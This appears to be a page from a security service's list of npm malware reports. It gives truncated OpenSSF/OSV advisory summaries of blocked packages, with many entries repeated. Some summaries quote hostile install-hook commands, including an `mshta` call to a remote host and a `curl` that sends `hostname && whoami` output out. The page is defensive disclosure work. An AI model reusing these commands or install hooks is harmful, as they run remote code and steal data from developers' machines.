npm malware reports, with evidence.
Explore malware, protestware, install-hook abuse, staged payload carriers, crypto mining, and typosquatting. Each report identifies the package version, supporting evidence, advisory sources, and current Firewall decision.
Security reports — page 723
Updated 28 Oct 2026, 04:06 UTC. Ordered by latest scan.
OpenSSF/OSV malware advisory MAL-2026-4630 blocks this version. scripts/postinstall.js runs unconditionally during `npm install`. When the `opencode` binary is not on PATH (true for nearl...
OpenSSF/OSV malware advisory MAL-2026-4630 blocks this version. scripts/postinstall.js runs unconditionally during `npm install`. When the `opencode` binary is not on PATH (true for nearl...
OpenSSF/OSV malware advisory MAL-2026-4630 blocks this version. scripts/postinstall.js runs unconditionally during `npm install`. When the `opencode` binary is not on PATH (true for nearl...
OpenSSF/OSV malware advisory MAL-2026-4630 blocks this version. scripts/postinstall.js runs unconditionally during `npm install`. When the `opencode` binary is not on PATH (true for nearl...
OpenSSF/OSV malware advisory MAL-2026-4630 blocks this version. scripts/postinstall.js runs unconditionally during `npm install`. When the `opencode` binary is not on PATH (true for nearl...
OpenSSF/OSV malware advisory MAL-2026-4630 blocks this version. scripts/postinstall.js runs unconditionally during `npm install`. When the `opencode` binary is not on PATH (true for nearl...
OpenSSF/OSV malware advisory MAL-2026-4630 blocks this version. scripts/postinstall.js runs unconditionally during `npm install`. When the `opencode` binary is not on PATH (true for nearl...
OpenSSF/OSV malware advisory MAL-2026-6364 blocks this version. The package's preinstall lifecycle script (preinstall.js line 3) runs `cmd /c "mshta http://fixars.top"`, which causes Wind...
OpenSSF/OSV malware advisory MAL-2026-3847 blocks this version. The package openclaw-cn was found to contain malicious code.
OpenSSF/OSV malware advisory MAL-2026-4629 blocks this version. On `npm install`, the package's `preinstall` script runs `node index.js` and then `curl`s the output of `hostname && whoami...
OpenSSF/OSV malware advisory MAL-2026-4629 blocks this version. On `npm install`, the package's `preinstall` script runs `node index.js` and then `curl`s the output of `hostname && whoami...
OpenSSF/OSV malware advisory MAL-2026-4629 blocks this version. On `npm install`, the package's `preinstall` script runs `node index.js` and then `curl`s the output of `hostname && whoami...
OpenSSF/OSV malware advisory MAL-2026-5642 blocks this version. OSV/OpenSSF confirms optional-cpu-features@1.0.3 as malicious package MAL-2026-5642. Malicious code in optional-cpu-feature...
OpenSSF/OSV malware advisory MAL-2026-5751 blocks this version. OSV/OpenSSF confirms oh-my-ashclaw@4.11.2 as malicious package MAL-2026-5751. Malicious code in oh-my-ashclaw (npm)
OpenSSF/OSV malware advisory MAL-2026-4625 blocks this version. The package's documented `oh-langfuse setup` command defaults LANGFUSE_BASEURL to the bare-IP plaintext endpoint http://120...
OpenSSF/OSV malware advisory MAL-2026-4625 blocks this version. The package's documented `oh-langfuse setup` command defaults LANGFUSE_BASEURL to the bare-IP plaintext endpoint http://120...
OpenSSF/OSV malware advisory MAL-2026-4625 blocks this version. The package's documented `oh-langfuse setup` command defaults LANGFUSE_BASEURL to the bare-IP plaintext endpoint http://120...
OpenSSF/OSV malware advisory MAL-2026-4625 blocks this version. The package's documented `oh-langfuse setup` command defaults LANGFUSE_BASEURL to the bare-IP plaintext endpoint http://120...
OpenSSF/OSV malware advisory MAL-2026-4625 blocks this version. The package's documented `oh-langfuse setup` command defaults LANGFUSE_BASEURL to the bare-IP plaintext endpoint http://120...
OpenSSF/OSV malware advisory MAL-2026-4625 blocks this version. The package's documented `oh-langfuse setup` command defaults LANGFUSE_BASEURL to the bare-IP plaintext endpoint http://120...
OpenSSF/OSV malware advisory MAL-2026-4625 blocks this version. The package's documented `oh-langfuse setup` command defaults LANGFUSE_BASEURL to the bare-IP plaintext endpoint http://120...
OpenSSF/OSV malware advisory MAL-2026-4625 blocks this version. The package's documented `oh-langfuse setup` command defaults LANGFUSE_BASEURL to the bare-IP plaintext endpoint http://120...
OpenSSF/OSV malware advisory MAL-2026-4625 blocks this version. The package's documented `oh-langfuse setup` command defaults LANGFUSE_BASEURL to the bare-IP plaintext endpoint http://120...
OpenSSF/OSV malware advisory MAL-2026-4625 blocks this version. The package's documented `oh-langfuse setup` command defaults LANGFUSE_BASEURL to the bare-IP plaintext endpoint http://120...
OpenSSF/OSV malware advisory MAL-2026-4625 blocks this version. The package's documented `oh-langfuse setup` command defaults LANGFUSE_BASEURL to the bare-IP plaintext endpoint http://120...